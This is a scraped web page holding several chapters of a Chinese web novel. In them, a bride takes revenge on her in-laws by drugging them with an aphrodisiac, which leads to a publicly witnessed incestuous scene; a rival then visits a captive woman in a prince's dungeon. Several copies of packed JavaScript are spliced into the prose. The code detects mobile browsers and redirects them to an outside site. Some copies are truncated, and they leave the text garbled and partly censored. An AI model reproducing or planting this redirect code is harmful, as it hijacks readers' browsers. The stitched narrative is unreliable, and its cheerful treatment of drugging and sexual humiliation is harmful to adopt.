我精打细算，我从不乱花钱，我儿媳孙媳的嫁妆交到我那里，我根本就没有花，我那是在给她们保管！！” 关失越并不买账：“我的嫁妆可不需要你来保管。我自己管。” 顾老夫人还没说话，她的女儿、孙女们可不干了，一个跳得比一个高。 “那怎么行？！进了我顾家的门，就必须上交嫁妆！” “对！大家的嫁妆都交了的，凭什么你不交？！” “必须一视同仁！” “你不交嫁妆，就是不孝！！” “果然是乡下来的，一点礼数都不懂，还不孝敬长辈！像你这样的搅家精，就应该被休弃！” “娘，休了她！！” “二郎，这小娘子不行，你休了她算了！” “对，休了她……” “好了！”顾老夫人心里担心得要命，巴不得早点离开这里，结果这些人还在这里吵吵闹闹拖延时间，她简直要急疯了！ 她再不想在这里东拉西扯浪费时间了，先吼了自己的小辈们一通，这才看向关失越：“这事以后再说，好吗？现在……” “为什么要以后说？” 关失越自然知道顾老夫人的打算，但是，如今这么好的谈判机会，她怎么可能放走？ 现在都不谈，还能什么时候谈？ “我现在就要一个答案。” “顾老夫人，我的嫁妆我不交，坚决不！” “今天必须把这事定下来，否则，我就要和离！” 顾老夫人：“……” 顾家姑奶奶们再次各种叫嚣，她们一个比一个会说，一个比一个声大，让关失越再一次体会了一把在大街上围观一群泼妇骂架的感觉。 这顾老夫人可真是厉害啊！ 明知道药效要发作了，得快些离开，在这样紧急的情况下，她竟还不肯松口！ 或许在她的心里，十万两银子的嫁妆，跟她和顾家的名节一样重要吧。 否则，她怎么还在犹豫？ 她难道不知道，多犹豫一刻，她们顾家的名节便少一分吗？ 遇上这样的对手，可真是…… 行吧，既然顾老夫人愿意跟她耗，那她就陪着耗吧！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你们没丫鬟婆子，所以就来使唤我的丫鬟婆子，是吧？ 好你一个不要脸的顾家！ 还户部侍郎、大夏官员呢！ 不要脸！！” 她这般倒打一耙，将顾老夫人气得脸颊通红、耳根子通红、脖颈通红！ 这不纯粹是气的，事实上，距离喝下酒到现在，已经过去了很久了，也到了药效发作的时间了。 顾老夫人药效率先发作了。 她大口大口地喘着粗气，只觉全身上下都燥热难当，于是，她不管不顾地撕扯起了自己的衣襟。 “啊！嗯……” 第117章 自食恶果 紧接着，第二个被灌了酒的三角眼高颧骨女人的药效也发作了，她用手摸着自己的脸，大嘴巴里发出了“嗯、啊”的声音。 关失越找了个离她们最远的地方坐下，好整以暇地看大戏。 哎，这原本不怪她的。 是这一伙人非要跟她耗。 耗到现在，好了吧？ 她们竟然要当着她的面本色出演免费的、重口味的、疑似骨科级的顶级岛国小电影，而且还是未删减版的那种！！ 这样近距离地，直观地观看，可真是百年难遇啊！ 这下，她可以尽情地看了！ 话说，她最喜欢看这样的动作片了！！ 赚大发了！ 如果说，顾老夫人等人还算勉强能压抑住自己的天性的话，那么，顾沉舟这个屋子里唯一的男人，便彻底地释放了自己的天性。 都说男人是最接近于动物的物种，如今看来，智者不愧是智者！ 说的话全都经得起时间、空间的考验。 顾沉舟率先走向了自己的小姑姑------一个穿着石榴红裙子的苗条女子。 那女子的脸已经被烧红了，她如同一只离了水的鱼，大张着嘴，呼出大口大口的浊气，手不停地扯着自己的裙子。 脸红如血的顾沉舟大步走向那苗条女子，猛地抱住了她…… 关失越眼冒金光，目不转睛地看。 结果，却什么劲爆的画面都没有看到。 因为，顾老夫人的所有小辈们都围了过来，将顾沉舟围了个里三层外三层的。 关失越暗道可惜，下一刻，她眼睛又瞪大了，眼里狼光四射。 因为，屋子里的这一伙人因为太“热”，全都脱了个精光！ 啧啧啧，这场面，太刺激了！ 也太壮观了…… ========== 虽说顾老夫人是老吝啬鬼，顾家抠门到了极点，为了省钱，顾家连丫鬟婆子都没有雇，但在今日这样的好日子，顾老夫人还是花钱雇佣了几个临时工来撑场面的。 因此，临时工丫鬟婆子撑着，顾家的宴席摆得还是很顺利的。 顾侍郎被一群下属恭维着，又娶了个带着十万两嫁妆的孙媳，他觉着，很是志得意满。 这种志得意满的状态，顾侍郎并没有持续太久。 因为，女宾那边出了些问题。 好似是一个同僚的夫人被顾府临时雇佣来的婆子给冲撞了，那夫人愤愤不平，要找顾老夫人这个当家主母，然而找了一圈都没见着顾老夫人。 那个夫人怒了，便闹了起来。 这一闹，不少夫人纷纷发表了各自的不满，都是冲着顾家当家主母来的。 夫人们还发现了一个大问题：顾家当家主母不在，顾家所有的女主子竟也不在！！！ 这简直是怠慢！ 夫人们实在是气不过，各种指责顾家人。 声音太大，惊动了顾侍郎。 顾侍郎只得过来看。 然后，果真发现自家老娘、自家大嫂、娘子，及所有顾家女眷都不在。 顾侍郎很惭愧。 他给夫人们道了不是，并表示顾家女眷马上就来，说完，顾侍郎便吩咐顾府唯一的下人，自己的小厮过去新房看看情况。 小厮自然是领命而去。 小厮还没走两步，就遇上了关失越的陪嫁丫鬟。 陪嫁丫鬟头发凌乱，脸颊上沾了灰，衣服上也是灰，满头大汗，一脸惊恐地冲进了女宾宴席区，一副惊慌失措到了极点的模样。 “不好了！顾老夫人、顾大夫人、顾二夫人、顾家姑奶奶、顾家娘子们都跑去了新房，她们说，要……要杀了我家娘子！夫人们，请你们救救我家娘子啊！求你们了！！” 丫鬟根本就不顾小厮的阻拦，一口气将该说的都说完了，并跪下来乞求众人救命。 来吃席的夫人们本就对顾家不满，眼见着有笑话可看，都表示要给小丫鬟做主。 男宾们则是**人这样的大事所惊到，也表示要过去看。 于是，哗啦啦一群人，前呼后拥地往新房而去。 顾家没有丫鬟婆子。 于是，一路上，这些人没有遇到任何阻拦，在关失越的陪嫁丫鬟的带领下，非常顺利地走到了新房。 新房房门的锁此时已经被另一个丫鬟提前打开了，此时的大门是虚掩着的。 关失越的陪嫁丫鬟跑在最前面，推开了大门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528840|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后，屋子里的淫、乱一幕就这样，不加掩饰地落入了众人的眼里。 有人瞪大了眼睛。 有人张大了嘴巴。 有人眼睛直勾勾地盯着，半天都挪不开目光。 有人指着里面的人，尖叫：“你们……你们……恬不知耻！” 后面的人没有看到情况，听到这声音，更激动了，纷纷往前面挤。 有人将前面目瞪口呆的人一把拽开，换自己看。 有人将两边的人扒拉开，挤进去一颗脑袋看。 有人跳起来看。 有人蹲下来看。 有人道：“让开让开，让我看看。” 然后，第二批看到的人们：“哦！” “啊！” “天啊！！” “啧啧啧！” “**无耻！！” 于是，第三批人扒开了第二批人，看得津津有味…… 新房门口人挤人，简直比菜市场还热闹。 唾骂声、指责声、批判声、啧啧声、口水声…… 在这些声音中，顾侍郎终于赶到了。 赶到的顾侍郎来不及休息，气喘吁吁地扒拉开人群：“你们到底在做什么？大喜的日子，不去招待客人，都在这儿做什……” 顾侍郎的话被卡在了喉咙口。 眼前的一幕着实刺激而羞耻，顾侍郎只觉眼前一黑，两眼一翻，晕了过去。 随后赶到的顾老大顾老三等人一左一右扶住了顾侍郎，这才有空往里面看了一眼，这一眼，两人胸口一滞，心绞痛绞痛的，一个吐了一口血，一个则跟顾侍郎一样，两眼一黑晕了过去。 之后赶来的顾老四颤抖着嘴唇，在众人惊诧、鄙夷、厌恶的目光下，猛地合上了大门：“误会，都是误会。各位，还是先回去吃席吧。” ========= 俗话说，好事不出门，坏事传千里。 顾家老夫人带着自己的女儿、儿媳、孙女、孙媳和顾沉舟行苟且之事很快就在宾客之间传遍了。 要脸的顾家人不得不付出一大笔银子，且求爹爹告奶奶，企图让宾客们保密。 然而，如此隐秘又劲爆的消息哪里是银子和情分所能抗衡的？ 第118章 顾家出名了 人性骨子里的猎奇和八卦，让这消息如同长了翅膀一样，在宾客们离开后，便迅速地传遍了大街小巷。 世人听闻，无不震惊。 事情实在是太过匪夷所思，也过放浪形骸，太过不要脸，加上顾老夫人之前做的那些奇葩事，全京都的人都在骂顾老夫人。 顾家一家子也跟着顾老夫人一起倒霉被骂。 顾家的姻亲们，也跟着遭了殃，也连带着被大骂特骂。 尤其是蔡侍郎家。 毕竟，蔡侍郎家那真假千金的热度还没过去呢！ 再加上此次闹出这一出的，正是蔡侍郎的亲生女儿。 人民群众的脑子是灵光的，人民群众的推理能力是极强的。 八卦党们很快就推理出这样的真相来： 蔡家人又蠢又坏，疼爱假千金，糟蹋真千金，故意将真千金嫁到顾家那个**不吐骨头的地方去，其行为，简直是令人作呕！ 整个京都，宅院里，屋檐下，田间地头，街头巷尾，桥上河边，都是凑到一起蛐蛐儿的人们，人们兴致勃勃，人们鬼鬼祟祟，人们交换完八卦后便一起或义愤填膺，或目瞪口呆，或口沫横飞，或……地骂。 骂顾家人不要脸。 骂顾家就是个淫、窝。 骂顾老夫人抠门恶毒。 骂顾侍郎不配为官。 骂顾家所有人…… ========= 顾家，顾老夫人药效过后，恨透了关失越。 “来人！来人！！” 顾老夫人活了大半辈子了，还从没像今天这般丢人过，她怒不可遏，她无法原谅！ 她将床沿拍得碰碰作响，大摆威风。 今日她要不出了这口恶气，她会生不如死的！ 然而，她喊了半天，却没一个人来。 以往对她的命令唯命是从的儿孙们，今日她喊了半日，他们竟没一个来的！！ 顾老夫人哪里受得了这个？她愤怒不已地坐起来，气呼呼地穿鞋下床，如火箭一样站起来…… 她没能站起来。 可能是速度太快了，可能是气急攻心了，也可能是她老了，总之，顾老夫人在站起来的途中，整个人啪地一倒，倒在了脚踏上，额头重重地磕在了什么地方，顿时就磕破了，鲜血流了出来。 顾老夫人更生气了，大喊：“来人，来人！” 然而，她明明已经用尽了全力，可发出的声音却如同蚊蝇一般，连她自己都听不清！ 她努力地想站起来，可刚刚那一摔，不仅磕破了她的额头，还闪到了腰。 她现在根本就没有办法挪动分毫。 她努力了许久都没有用！ 而她的儿女，没有一个在跟前伺候的。 如今的她，是叫天天不应叫地地不灵。 她在原地躺了好久，终于，眼角流出了泪来。 这一刻，她终于后悔了。 她的儿子是大夏的户部侍郎，她家里的银钱多得数不清，按理，她明明可以像别的老封君那样，奴仆成群，颐享天年的。 可她却因为抠门，将丫鬟婆子都遣散。 现在好了，她出了事，竟没一个人来扶她！！ 她要是**，那么多钱留着又什么用？ 难道还能带到棺材里去？ 还有，她那几个儿媳太不是东西了！ 她都这样了，她们竟不在她跟前尽孝！！！ 顾家真是白养了她们！！！ 等她好了，她必定要休了她们！！！ 当然，最最可恨的还是那蔡二娘！ 她竟然敢给她灌**？！！ 害得她…… 完了！ 完了完了完了！！！ 她依稀记得，她中了药后主动脱了自己的衣服，还和沉舟…… 天爷啊！ 造孽啊！ 她竟然和自己的亲孙子…… 啊啊啊啊啊啊！ 顾老夫人只觉胸口绞痛得厉害，喉头一腥，吐出了一口老血，晕了过去。 ========= 顾家所有参与了“闹洞房”一事的女眷（除顾大郎的妻子外），基本上都是和顾老夫人一样的心情。 顾家女眷恨**关失越，很想立马就宰了关失越。 但同时，她们又因着**的事，或羞于出门，或气到吐血，或痛苦麻木，或装死不起，总之，个个都将自己关在屋里不出门。 于是，让关失越安安稳稳度过了新婚夜+新婚第二日的上午。 俗话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见顾家的男人们一个屁都不敢放，关失越又走到之前骂她的人跟前，一个个询问。 那些人无一例外，没一个敢说话的。 “敢做不敢当的孬种！废物！！就只会欺负女人，靠着女人的嫁妆过活的软饭男！”关失越道。 顾家男人们：“……” 关失越轻蔑地道：“我今日就把话撂在这里，谁要是敢像以前强占新妇嫁妆那样侵吞我的嫁妆，我蔡珠珠必定要打得他手脚俱断、求死不能求生不得！不信，等着瞧！” 说完，扬长而去。 ========= 好事不出门，坏事传千里。 顾家的丑事迅速传遍了整个京都。 安王府后院的谢婉婉也听闻了这事。 自元宵节过后，谢婉婉的心情便很是不好，听了这事，谢婉婉的心情总算是好了些。 自己的失败固然痛苦，但跟顾家发生的这种天大丑事比起来，自己的那点儿失败根本就不算什么了。 况且，她这段时间也并非就全是痛苦和郁闷。 她也有快乐的事。 安王抓来了谢七娘！ 是的，那个跟在一个农女身后，帮着关二丫那个外人来恶心她、对付她的谢七娘，此时，就被关押在了安王府的地牢！ 安王府地牢是个什么情形？ 用脚指头想也知道！ 谢七娘被抓来了，肯定不会有好日子过！ 哈哈哈哈，再没比这更让人高兴的事了！ 想到这里，谢婉婉一扫往日的阴霾，梳妆打扮了一番，提着丫鬟熬好的鸡汤，给安王送过去。 虽然只是一个侍妾，但谢婉婉是安王的白月光，因此，府里的侍卫丫鬟们大多都是讨好她的，见她来了，侍卫们根本就没有阻拦，相反，还热情地将她请了进去。 谢婉婉感谢了侍卫，温柔地出现在了安王面前。 这还是谢婉婉第一次主动出现在安王面前，安王受宠若惊。 两人一个有事相求，一个喜不自胜，自然相处得融洽。 很快，两人便将话题聊到了谢七娘身上了。 谢婉婉趁机道：“殿下，妾能去看看她吗？她毕竟是妾的族妹。妾若是去了，她或许会看在妾的份上，说出些什么来。” 安王瞧着谢婉婉那渴望的眼神，答应了：“也是。你们毕竟是姊妹。她不帮着你，反帮着一个细作对付你算什么？难道那细作能对她好？你劝劝她吧。” “好。”谢婉婉道，“妾一定好生劝说她！” 于是，谢婉婉来到了安王府地牢。 地牢里很是阴森。 一排排的刑具，一具具血肉模糊的身体，各种各样奇怪难忘的气味…… 谢婉婉想吐。 但她强忍住了恶心和恐惧，一步步走到了关押谢七娘的囚室。 此时的谢七娘，头发散乱，一身脏污，雪白的裙子上沾着点点血渍。 一看就是受过审问的样子。 然而，她的眼睛清澈干净，没有一丝的卑躬屈膝谄媚讨好，更没有一丝害怕和恐惧！ 她看了一眼谢婉婉，什么也没说，收回了视线，继续坐在冰冷的地上，一言不发。 见到这样的谢七娘，谢婉婉原本的好心情立马就没了。 “谢七娘！”谢婉婉道。 谢七娘继续闭目眼神一言不发。 谢婉婉那种不舒服的感觉更甚了，她一脚踢了过去： “我在叫你！ 你没听到吗？ 两年不见，你竟变成了这个鬼样！！ 堂堂谢家女，竟堕落到给一个**当丫鬟，你可真厉害啊！ 你爹娘若是活着，必定要被你给活活气死！！” 谢七娘眼皮快速颤动了几下，仍然没有动，也没有说话。 谢婉婉更生气了，又踢了一脚过去：“谢七娘！ 你个没用的废物！ 自甘**的烂、货！！ 你若是有点气性，你就该一头撞死！！ 结果你为了活下去，你出卖自己的身子，出卖自己的尊严，你不配为谢家女！！ 我若是你，我早就一根绳子吊**！！” 谢七娘眼睛猛地睁开，那一刻，眼神如同锋刃，狠狠地刺向谢婉婉。 谢婉婉被这样可怕的眼神吓得后退了半步。 “自甘**？”谢七娘冷笑了一声，“这天底下的人谁会愿意好日子不过，去自甘**？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我需要你的时候，你在哪里？ 如今我好不容易从那地狱爬出来了，你却跑来跟我说，我不该那样做！ 未经他人苦，莫劝他人善！ “在我快死的时候，在我走投无路求路无门的时候，是她拉了我一把。” 谢七娘缓缓道。 “在我心里，她就是我的再生父母。别说是让我给她做下人，便是让我将我的这条命赔给她，我也愿意！” “疯了！你简直是疯了！！”谢婉婉道，“她不过是一个卑贱的农女！不过是我的替身罢了！！” 谢七娘：“那也比你强一千倍、一万倍！！ 她一个外人都知道拉我一把，而你这个自家人呢？ 你只会躲在京都，躲在男人的庇护下，过着你锦衣玉食的生活！ 做你的家人，真是倒霉透了！” 谢婉婉：“你……你怎么能这样说我？我一个弱女子，家族没了，我也是侥幸才能活着，我能做什么？” 谢七娘冷笑道：“你不是一直都坚信自己很能干吗？ 不是大夏明珠吗？ 不是自生下来就是谢家的骄傲吗？ 你这么厉害，怎么就不想着救救我们？ 你让你的亲生母亲在军营里受苦，你自己却在京都里过着被人前呼后拥的生活！ 你可真孝顺啊！ 我若是你，早寻一根绳子吊死算了！” 谢婉婉气得发抖：“你恨我没有救你，忌妒我没有跟你一样成为营妓，所以，你就帮着外人来对付我？” 谢七娘：“我什么时候对付你了？ 是，我恨你的自私，我忌妒你的好运气，忌妒有那么多人保护你！ 可是，我也没有因此就要对付你！ 我不过是想要过上正常人的生活而已，这也碍到你了？” “你怎么没对付我？”谢婉婉声音骤然变得尖利，“你出现在京都，你跟那个**当下人，这就是在对付我！你知不知道别人看到你了，会怎么想我？你要是为我好，就不该回来！” 谢七娘就笑了：“这京都是你一个人的吗？你在的地方，我谢七娘就应该退避三舍是吗？” 呵呵，还是跟以前一样霸道！！ 所有谢家女，都得给你谢婉婉让路，心甘情愿地做你的垫脚石，你才会满意吧？ 凭什么？ 谢家已经不在了。 凭什么我还要让着你？！！ “谢婉婉，你呼风唤雨只手遮天的时代已经过去了！谢家已经没有了。你也不再是谢家女。你没有资格压着我，逼着我给你让路了！” 谢婉婉眼里闪过一抹怨恨之色，她深吸了一口气，道：“我没有那个意思。 我只是……觉得不能接受而已！ 我们毕竟是同族的，我也希望你过得好。 但是谢七娘，那关二丫真的不是好人！ 你想想看，她一个乡下人，她怎么可能会读书识字？ 怎么可能猜中那么多的灯谜？ 还有，好端端的，她为什么要救你？ 她肯定是别有所图！ 我只是担心你被她利用被她欺骗了！！ 她身上有大问题！ 她明明叫关二丫，可是却对世人说，她是陆婉婉！ 而陆家偏偏还帮她打掩护。 这样可怕的人，你跟着她岂不是危险？！ 我这是担心你！！” 谢七娘笑了笑：“那就多谢你的担心了。” 担心我？ 呵呵，是担心我的出现让别人想起你是个不顾亲情只顾自己享受的不孝女吧？ 你哪里是担心我？分明是希望我死在军营，永远不回来才好！ 谢婉婉：“我听王爷说，关二丫十有**是千里及细作，你别往她身边凑，当心被她连累！” 谢七娘没有说话。 谢婉婉：“你是不是不知道细作是什么？ 我告诉你，细作就是奸细！ 做奸细的人，通常都是六亲不认、心狠手辣之辈！ 他们得罪了不少人，最是受人痛恨。 一旦仇家找上来，他们被五马分尸都是轻的！ 你跟她待在一块儿，肯定会被牵连的！” 谢七娘没有回答。 谢婉婉：“你就不害怕吗？她可是细作啊！！” 谢七娘：怎么不怕？可是，她有得选吗？她已经上了她的船了！她们两个人早就绑在了同一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528843|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条船上了！！！ 谢婉婉：“我可以给你一个机会。一个彻底摆脱她的机会！” 谢七娘终于说话了：“怎么彻底摆脱她？” 谢婉婉见状，终于松了一口气，面上笑得温和无害：“你把她的情况都告诉安王，再引她过来，到时安王抓住她了，必定记得你的功劳！ 到时安王会将你的户籍该为良籍，你想留在安王府也好，留在京都继续开铺子也好，都随你。 这样，岂不是给一个细作当下人来得好？ 你好好想想，是不是这个理？” 谢七娘若有所思，半晌，叹了一口气：“可是，她毕竟救过我，我若是……” 谢婉婉闻言，大喜，道：“话可不能这么说！ 是，她确实救过你，可是，你当她是白救你的吗？ 她救了你，却让你给她当丫鬟！ 她要是真的善良，就会不计回报地救你出来。 可她呢？ 让一个谢家贵女做她的丫鬟，她简直就是欺人太甚！ 这简直就是在羞辱你！！ 不管怎么说，咱们都是同族的，我自是希望你好的。 你去给人当下人，我看着都为你难过和不值！ 你堂堂谢家贵女，却不得不做她的丫鬟，你不恨她，就已经是对她的报答了！ 你还帮她挣了那么多的钱，她的那点救命之恩，你已经报答完了！ 你不欠她的了！ 现在，你因为她的缘故，吃了这么多的苦，受了这么多的罪，这些，都是她欠你的！ 不如趁此机会，除了她！ 也算是给你自己报仇了。” 谢七娘：“可是她毕竟救过我……” 谢婉婉：“你难道真想一辈子给人当下人？” 谢七娘：“……” 谢婉婉：“你就算不为自己着想，你也应该为你将来的孩子着想！有一个当下人的母亲，他一生下来也只会是贱籍，一辈子都得给人当奴隶！你忍心？” 谢七娘：“她当初救了我，要不是她相救，我说不定早就**……” 谢婉婉：“你欠她的救命之恩早就还清了。你现在不欠她的了。真的！哎，你呀，就是犟！我这可都是为了你好！你自己好好想想吧。” 第121章 上门要人 “你手里有没有安王的把柄？” 酒楼内，关失越在见到楚清漪后，开门见山地道。 楚清漪挑了挑眉：“你约我见面，就是因为安王？他……对你动手了？” 关失越颔首：“他抓走了谢七娘！” 楚清漪：“什么时候的事？” 关失越：“一个时辰前。” 楚清漪看了过来。 关失越：“她不是千里及的人，她是被我连累的。” 楚清漪：“所以，你打算救她？ 可是，现在已经过去了一个时辰了！ 她不同于咱们，她只是一个弱女子。 安王既然抓了她，那肯定是有所图谋。 你应该清楚，对一个普通人来说，一个时辰意味着什么。 该说的不该说的，她恐怕已经都说了。 你确定还要去救她吗？” 关失越没有丝毫犹豫：“救。” 楚清漪：“你就不怕，这是一场阴谋，就等着你自投罗网？” 关失越：“这原本就是我和谢婉婉的事，谢七娘是受我连累的。于情于理，我都得去。” 楚清漪：“你想清楚了。你师父现在可不在！到时你若是出了什么事……” “我不会出事的。”关失越道，“便是出事，所有责任，皆由我一个人扛。你放心，绝不会牵连到阁主你。” ========= 顾侍郎今日受尽了同僚的奚落和讽刺。 背后蛐蛐他的，暗地里翻白眼的，当着他的面嘲笑的，私底下暗戳戳地请教他家风为何那般豪放的，恶意跟他开玩笑问他有没有跟自己生母有一腿的…… 总之，顾侍郎受够了！ 顾侍郎的脸皮终是没有他想象中的那般厚，不到下值时间，便偷偷地溜了。 溜回家的顾侍郎还没来得及喘口气，就被自己的兄弟姐妹们围了上来，好一顿哭诉。 顾侍郎恨透了关失越，打算今日定要好好收拾她！ 于是，一行人气势汹汹地来到新房，打算先将人绑了，执行家法。 然而，新妇不见了！ 连同她的丫鬟婆子，也都不见了！！ 顾家人面面相觑，最后，一致决定，将锁砸开，强行进入新房。 顾家人如同小偷进屋一般，将屋子里的梳妆台、柜子、多宝阁、首饰匣进行了好一番翻找，甚至还将枕头都翻开了看了。 “她的那些金银首饰呢？怎么都没有了？” “银票也一张都没有！” “不是说她的陪嫁值十万两吗？怎么一张田契地契房契都没有？” “连铜板都没一个！” “咱们是不是被骗了？” “我看她就是个穷鬼！！” 顾家人一个铜板都没找到，火气更大了，嘴巴不干不净地骂了起来。 顾侍郎脸色很是难看：“不可能！蔡侍郎告诉我，光是他就给了那贱妇一万两银票。再加上别人给的添妆，她至少有五万两银子！！” “那银子呢？” “是啊，银子呢？” 顾侍郎：“她应当知道我们会问她要钱，所以提前将金银细软带走了。呵！她以为这样就完了？跑得了和尚跑不了庙！！走，咱们去蔡侍郎家要人去！！” 于是，一行人骂骂咧咧气势汹汹来到蔡家，问他讨要说法。 一是指责他们蔡家不会教养女儿，将女儿养成了一个不敬长辈、不尊礼法的恶毒女子，专门祸害他们顾家。 二来，揭发和控诉关失越在顾家所做的一切恶事，并强调她给顾家女眷强灌**，让顾家人名誉扫地之事。 第三，控告关失越在作恶之后不知悔改，携款潜逃之事。 最后，要求蔡家赔偿他们顾家的损失二十万两。 蔡侍郎被二十万给气到了，也吓到了，于是，双方吵得脸红脖子粗，甚至还动起了手！ 当然，蔡家这边是占优势的。 毕竟，蔡家不同于顾家节俭，蔡家请了不少家丁护院小厮等等！ 于是，在一番武力较量之后，顾家**多都挂了彩，只能灰溜溜地回家。 蔡家人和顾家人闹得很大，惊动了不少人。 再加上顾家原本就还在风口浪尖上，于是，知道的人就更多了。 当顾家人鼻青脸肿一身是伤地走在回家的路上时，大街小巷、四面八方钻了不少人出来看热闹。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528844|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是，很快，顾家人找蔡家人算账，但却被蔡家人狠狠痛打了一顿的消息便又传遍了京都的大街小巷。 ========== 就在顾家人找上蔡家人要说法的时候，关失越来到了安王府。 “什么？她就在外面？” 安王得到禀告，有些惊讶地挑了挑眉。 按理，当细作的人都是相当理智的，决计不会出现这种明明知晓对方设有陷阱，却还要往里面跳的情形的！ 一个合格的细作都知晓这一点。 难不成她不是细作？ 可，根据他调查到的线索来看，她八成就是细作啊！ 略微思索了片刻，安王道：“请她进来。” “是，殿下！”下人领命而去，约摸半盏茶的时间后，关失越被领到了安王跟前。 关失越给安王行了一礼：“民女陆婉婉，见过安王殿下。” 安王看也没看她一眼，也没有叫关失越起来，就仿佛没有看到她人一样，傲慢至极。 当然，人家天潢贵胄，有那个资本。 关失越嘴角勾了勾，不等安王说话，便自顾自地站直了身体，并打量起了安王来。 这人身着紫色锦袍，头戴黄金发冠，头发梳得一丝不苟，端的是矜贵傲然，高不可攀。 然而，他的脸…… 她见过。 两年前，她还在轩辕国的流沙县的时候，她连续几日做梦，梦里的男人便是这个人。 那个时候的她还没有加入千里及。 转眼两年过去，她的人生发生了巨大的变化，但梦里的那个男人，却是一点也没变。 “陆小娘子盯着本王瞧了半晌了，胆子不小啊。”安王犀利的目光扫视了过来，紧盯着关失越。 这样的眼神，梦里面的关失越曾有幸见过，因此，她没有一点慌乱和害怕。 她甚至大胆地上前了两步，目光不躲不闪地迎上安王的视线。 “妾听闻，安王殿下抓走了妾的丫鬟，故特来讨要。还望殿下大**量，高抬贵手，将妾的丫鬟还给妾。” 这直白的方式，这不将他放在眼里的勇气，当真是…… 平生罕见。 第122章 她没有放弃她 也不知这人是狂妄自大到认为自己无敌了呢，还是初生牛犊不怕虎！ 若说狂妄自大，她是千里及细作，陆之斐着重培养的人，她还是有两分狂妄的资本的。 可另一方面，她一介乡野村妇，从小没见过世面，无知也是正常的。 要不然，她怎么敢在他面前放肆呢？ 这女人身上，尽是自相矛盾之处。 安王那双狐狸眼里不禁浮现出了几分兴味之色来：“你说本王抓了你的丫鬟，证据呢？ 若是没有证据，你便闯我安王府，还在本王面前大呼小叫，那么，你就是犯了以下犯上、藐视皇族之大罪！ 你可知晓？” 关失越从不打无把握的仗。 证据，她自然是有的。 因此，关失越不急不缓地将来之前就收集到的证人名字以及证词内容说了出来，完了还加了一句：“安王殿下，您要的证据妾已经提供了，现在，该把人交出来了吧？” 然而，安王并不买账。 “你说张三看到了，他就真的看到了吗？或许，那张三只是你胡乱编出的证人呢？俗话说，捉贼拿赃！” 关失越笑了笑：“我确定我的丫鬟进了安王府，并确信她没有出去！听安王殿下这意思，莫非是要妾自己来搜人？” 安王神色沉了沉：“想在我府里搜？呵呵，你配吗？” 关失越挑了挑眉，两手一摊：“是殿下让我搜的啊！我也没办法啊，只能恭敬不如从命了。” 安王见不得她这嚣张的样子，气笑了：“你一个人单枪匹马来我安王府要人，你就不担心有去无回？” 关失越也笑了：“妾既然敢来，自是做足了完全的准备。殿下不妨猜猜，妾一旦在您府上待了一刻钟还没出去，圣上那里和大理寺会发生什么？” 安王面色一冷，目光犀利地看了过来：“你做了什么？” 关失越：“没什么，只不过是查到了一些事情。 这些事情发生在三年前，牵涉到十六条命案，那作案之人仗着是安王殿下的外祖家，至今还逍遥法外。 妾来之前便让人将证据搜集好了，一旦发现妾进了安王府一刻钟还没出去，那人便会直接将证据交到大理寺和当今圣上面前。 殿下，您是千金之躯，自是万分珍贵的，若是因为一个丫鬟而有所折损，很不值当，您说是吧？” 安王：“……” ========== “你到底说不说？不说，可就要吃苦头了！” 地牢里，谢婉婉耐心耗尽，看向谢七娘的眼神里再没了伪装出来的柔情。 “这地牢里，刑具多得是，随便弄一样在你身上，你都会生不如死的。为了一个乡下女人，值得吗？” 谢七娘目光在墙壁上那些沾满不明污渍的刑具上略过，心里发怵，但面上还是强装镇定，她笑了笑，道：“你到底想让我说什么啊？我说了，她的来历我根本就不清楚。我只知晓，她叫陆婉婉。” “不，她是关二丫！是那个被找来代替我的人！！”谢婉婉道，“两年前她是和你们一起进的军营，别跟我说你之前没见过她！！” 